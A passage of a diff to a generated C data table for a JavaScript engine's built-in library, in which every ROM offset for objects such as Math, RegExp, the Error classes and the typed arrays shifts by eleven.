   JS_VALUE_MAKE_SPECIAL(JS_TAG_STRING_CHAR, 69) /* E */,
-  JS_ROM_VALUE(2489),
+  JS_ROM_VALUE(2500),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(512) /* LN10 */,
-  JS_ROM_VALUE(2492),
+  JS_ROM_VALUE(2503),
   (27 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(515) /* LN2 */,
-  JS_ROM_VALUE(2495),
+  JS_ROM_VALUE(2506),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(517) /* LOG2E */,
-  JS_ROM_VALUE(2498),
+  JS_ROM_VALUE(2509),
   (33 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(520) /* LOG10E */,
-  JS_ROM_VALUE(2501),
+  JS_ROM_VALUE(2512),
   (36 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(523) /* PI */,
-  JS_ROM_VALUE(2504),
+  JS_ROM_VALUE(2515),
   (39 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(525) /* SQRT1_2 */,
-  JS_ROM_VALUE(2507),
+  JS_ROM_VALUE(2518),
   (24 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(528) /* SQRT2 */,
-  JS_ROM_VALUE(2510),
+  JS_ROM_VALUE(2521),
   (45 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(531) /* sin */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 85),
@@ -2743,14 +2754,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(585) /* is_equal */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 105),
   (93 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=2643) */
+  /* class (offset=2654) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2513),
+  JS_ROM_VALUE(2524),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=2648) */
+  /* properties (offset=2659) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2761,7 +2772,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_DATE << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2658) */
+  /* properties (offset=2669) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2769,14 +2780,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_DATE - 1) << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2665) */
+  /* class (offset=2676) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2648),
+  JS_ROM_VALUE(2659),
   106,
-  JS_ROM_VALUE(2658),
+  JS_ROM_VALUE(2669),
   JS_NULL,
 
-  /* properties (offset=2670) */
+  /* properties (offset=2681) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2787,14 +2798,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(600) /* stringify */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 109),
   (3 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=2680) */
+  /* class (offset=2691) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2670),
+  JS_ROM_VALUE(2681),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* properties (offset=2685) */
+  /* properties (offset=2696) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2802,22 +2813,22 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_REGEXP << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* getset (offset=2692) */
+  /* getset (offset=2703) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 111),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 112),
 
-  /* getset (offset=2695) */
+  /* getset (offset=2706) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 113),
   JS_UNDEFINED,
 
-  /* getset (offset=2698) */
+  /* getset (offset=2709) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 114),
   JS_UNDEFINED,
 
-  /* properties (offset=2701) */
+  /* properties (offset=2712) */
   JS_VALUE_ARRAY_HEADER(24),
   6 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -2826,13 +2837,13 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   21 << 1,
   18 << 1,
   JS_ROM_VALUE(607) /* lastIndex */,
-  JS_ROM_VALUE(2692),
+  JS_ROM_VALUE(2703),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(621) /* source */,
-  JS_ROM_VALUE(2695),
+  JS_ROM_VALUE(2706),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(628) /* flags */,
-  JS_ROM_VALUE(2698),
+  JS_ROM_VALUE(2709),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(635) /* exec */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 115),
@@ -2843,14 +2854,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_REGEXP - 1) << 1,
   (15 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2726) */
+  /* class (offset=2737) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2685),
+  JS_ROM_VALUE(2696),
   110,
-  JS_ROM_VALUE(2701),
+  JS_ROM_VALUE(2712),
   JS_NULL,
 
-  /* properties (offset=2731) */
+  /* properties (offset=2742) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2858,17 +2869,17 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_ERROR << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* getset (offset=2738) */
+  /* getset (offset=2749) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 118),
   JS_UNDEFINED,
 
-  /* getset (offset=2741) */
+  /* getset (offset=2752) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 119),
   JS_UNDEFINED,
 
-  /* properties (offset=2744) */
+  /* properties (offset=2755) */
   JS_VALUE_ARRAY_HEADER(21),
   5 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -2883,22 +2894,22 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(208) /* Error */,
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(641) /* message */,
-  JS_ROM_VALUE(2738),
+  JS_ROM_VALUE(2749),
   (9 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(648) /* stack */,
-  JS_ROM_VALUE(2741),
+  JS_ROM_VALUE(2752),
   (6 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_ERROR - 1) << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2766) */
+  /* class (offset=2777) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2731),
+  JS_ROM_VALUE(2742),
   117,
-  JS_ROM_VALUE(2744),
+  JS_ROM_VALUE(2755),
   JS_NULL,
 
-  /* properties (offset=2771) */
+  /* properties (offset=2782) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2906,7 +2917,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_EVAL_ERROR << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2778) */
+  /* properties (offset=2789) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2917,14 +2928,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_EVAL_ERROR - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2788) */
+  /* class (offset=2799) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2771),
+  JS_ROM_VALUE(2782),
   121,
-  JS_ROM_VALUE(2778),
-  JS_ROM_VALUE(2766),
+  JS_ROM_VALUE(2789),
+  JS_ROM_VALUE(2777),
 
-  /* properties (offset=2793) */
+  /* properties (offset=2804) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2932,7 +2943,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_RANGE_ERROR << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2800) */
+  /* properties (offset=2811) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2943,14 +2954,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_RANGE_ERROR - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2810) */
+  /* class (offset=2821) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2793),
+  JS_ROM_VALUE(2804),
   122,
-  JS_ROM_VALUE(2800),
-  JS_ROM_VALUE(2766),
+  JS_ROM_VALUE(2811),
+  JS_ROM_VALUE(2777),
 
-  /* properties (offset=2815) */
+  /* properties (offset=2826) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2958,7 +2969,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_REFERENCE_ERROR << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2822) */
+  /* properties (offset=2833) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2969,14 +2980,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_REFERENCE_ERROR - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2832) */
+  /* class (offset=2843) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2815),
+  JS_ROM_VALUE(2826),
   123,
-  JS_ROM_VALUE(2822),
-  JS_ROM_VALUE(2766),
+  JS_ROM_VALUE(2833),
+  JS_ROM_VALUE(2777),
 
-  /* properties (offset=2837) */
+  /* properties (offset=2848) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2984,7 +2995,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_SYNTAX_ERROR << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2844) */
+  /* properties (offset=2855) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2995,14 +3006,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_SYNTAX_ERROR - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2854) */
+  /* class (offset=2865) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2837),
+  JS_ROM_VALUE(2848),
   124,
-  JS_ROM_VALUE(2844),
-  JS_ROM_VALUE(2766),
+  JS_ROM_VALUE(2855),
+  JS_ROM_VALUE(2777),
 
-  /* properties (offset=2859) */
+  /* properties (offset=2870) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3010,7 +3021,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_TYPE_ERROR << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2866) */
+  /* properties (offset=2877) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3021,14 +3032,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_TYPE_ERROR - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2876) */
+  /* class (offset=2887) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2859),
+  JS_ROM_VALUE(2870),
   125,
-  JS_ROM_VALUE(2866),
-  JS_ROM_VALUE(2766),
+  JS_ROM_VALUE(2877),
+  JS_ROM_VALUE(2777),
 
-  /* properties (offset=2881) */
+  /* properties (offset=2892) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3036,7 +3047,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_URI_ERROR << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2888) */
+  /* properties (offset=2899) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3047,14 +3058,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_URI_ERROR - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2898) */
+  /* class (offset=2909) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2881),
+  JS_ROM_VALUE(2892),
   126,
-  JS_ROM_VALUE(2888),
-  JS_ROM_VALUE(2766),
+  JS_ROM_VALUE(2899),
+  JS_ROM_VALUE(2777),
 
-  /* properties (offset=2903) */
+  /* properties (offset=2914) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3062,7 +3073,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_INTERNAL_ERROR << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2910) */
+  /* properties (offset=2921) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3073,14 +3084,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_INTERNAL_ERROR - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2920) */
+  /* class (offset=2931) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2903),
+  JS_ROM_VALUE(2914),
   127,
-  JS_ROM_VALUE(2910),
-  JS_ROM_VALUE(2766),
+  JS_ROM_VALUE(2921),
+  JS_ROM_VALUE(2777),
 
-  /* properties (offset=2925) */
+  /* properties (offset=2936) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3088,30 +3099,30 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_ARRAY_BUFFER << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* getset (offset=2932) */
+  /* getset (offset=2943) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 129),
   JS_UNDEFINED,
 
-  /* properties (offset=2935) */
+  /* properties (offset=2946) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
   6 << 1,
   JS_ROM_VALUE(689) /* byteLength */,
-  JS_ROM_VALUE(2932),
+  JS_ROM_VALUE(2943),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_ARRAY_BUFFER - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2945) */
+  /* class (offset=2956) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2925),
+  JS_ROM_VALUE(2936),
   128,
-  JS_ROM_VALUE(2935),
+  JS_ROM_VALUE(2946),
   JS_NULL,
 
-  /* properties (offset=2950) */
+  /* properties (offset=2961) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3119,27 +3130,27 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_TYPED_ARRAY << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* getset (offset=2957) */
+  /* getset (offset=2968) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 131),
   JS_UNDEFINED,
 
-  /* getset (offset=2960) */
+  /* getset (offset=2971) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 132),
   JS_UNDEFINED,
 
-  /* getset (offset=2963) */
+  /* getset (offset=2974) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 133),
   JS_UNDEFINED,
 
-  /* getset (offset=2966) */
+  /* getset (offset=2977) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 134),
   JS_UNDEFINED,
 
-  /* properties (offset=2969) */
+  /* properties (offset=2980) */
   JS_VALUE_ARRAY_HEADER(40),
   10 << 1, /* n_props */
   7 << 1, /* hash_mask */
@@ -3152,16 +3163,16 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   37 << 1,
   0 << 1,
   JS_ROM_VALUE(187) /* length */,
-  JS_ROM_VALUE(2957),
+  JS_ROM_VALUE(2968),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(689) /* byteLength */,
-  JS_ROM_VALUE(2960),
+  JS_ROM_VALUE(2971),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(708) /* byteOffset */,
-  JS_ROM_VALUE(2963),
+  JS_ROM_VALUE(2974),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(717) /* buffer */,
-  JS_ROM_VALUE(2966),
+  JS_ROM_VALUE(2977),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(444) /* join */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 59),
@@ -3181,14 +3192,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_TYPED_ARRAY - 1) << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3010) */
+  /* class (offset=3021) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2950),
+  JS_ROM_VALUE(2961),
   130,
-  JS_ROM_VALUE(2969),
+  JS_ROM_VALUE(2980),
   JS_NULL,
 
-  /* properties (offset=3015) */
+  /* properties (offset=3026) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3199,7 +3210,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_UINT8C_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=3025) */
+  /* properties (offset=3036) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3210,14 +3221,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_UINT8C_ARRAY - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3035) */
+  /* class (offset=3046) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3015),
+  JS_ROM_VALUE(3026),
   137,
-  JS_ROM_VALUE(3025),
-  JS_ROM_VALUE(3010),
+  JS_ROM_VALUE(3036),
+  JS_ROM_VALUE(3021),
 
-  /* properties (offset=3040) */
+  /* properties (offset=3051) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3228,7 +3239,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_INT8_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=3050) */
+  /* properties (offset=3061) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3239,14 +3250,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_INT8_ARRAY - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3060) */
+  /* class (offset=3071) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3040),
+  JS_ROM_VALUE(3051),
   138,
-  JS_ROM_VALUE(3050),
-  JS_ROM_VALUE(3010),
+  JS_ROM_VALUE(3061),
+  JS_ROM_VALUE(3021),
 
-  /* properties (offset=3065) */
+  /* properties (offset=3076) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3257,7 +3268,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_UINT8_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=3075) */
+  /* properties (offset=3086) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3268,14 +3279,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_UINT8_ARRAY - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3085) */
+  /* class (offset=3096) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3065),
+  JS_ROM_VALUE(3076),
   139,
-  JS_ROM_VALUE(3075),
-  JS_ROM_VALUE(3010),
+  JS_ROM_VALUE(3086),
+  JS_ROM_VALUE(3021),
 
-  /* properties (offset=3090) */
+  /* properties (offset=3101) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3286,7 +3297,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_INT16_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=3100) */
+  /* properties (offset=3111) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3297,14 +3308,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_INT16_ARRAY - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3110) */
+  /* class (offset=3121) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3090),
+  JS_ROM_VALUE(3101),
   140,
-  JS_ROM_VALUE(3100),
-  JS_ROM_VALUE(3010),
+  JS_ROM_VALUE(3111),
+  JS_ROM_VALUE(3021),
 
-  /* properties (offset=3115) */
+  /* properties (offset=3126) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3315,7 +3326,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_UINT16_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=3125) */
+  /* properties (offset=3136) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3326,14 +3337,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_UINT16_ARRAY - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3135) */
+  /* class (offset=3146) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3115),
+  JS_ROM_VALUE(3126),
   141,
-  JS_ROM_VALUE(3125),
-  JS_ROM_VALUE(3010),
+  JS_ROM_VALUE(3136),
+  JS_ROM_VALUE(3021),
 
-  /* properties (offset=3140) */
+  /* properties (offset=3151) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3344,7 +3355,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_INT32_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=3150) */
+  /* properties (offset=3161) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3355,14 +3366,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_INT32_ARRAY - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3160) */
+  /* class (offset=3171) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3140),
+  JS_ROM_VALUE(3151),
   142,
-  JS_ROM_VALUE(3150),
-  JS_ROM_VALUE(3010),
+  JS_ROM_VALUE(3161),
+  JS_ROM_VALUE(3021),
 
-  /* properties (offset=3165) */
+  /* properties (offset=3176) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3373,7 +3384,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_UINT32_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=3175) */
+  /* properties (offset=3186) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -3384,14 +3395,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_UINT32_ARRAY - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=3185) */
+  /* class (offset=3196) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(3165),
+  JS_ROM_VALUE(3176),
   143,
-  JS_ROM_VALUE(3175),
-  JS_ROM_VALUE(3010),
+  JS_ROM_VALUE(3186),
+  JS_ROM_VALUE(3021),
 
-  /* properties (offset=3190) */
+  /* properties (offset=3201) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
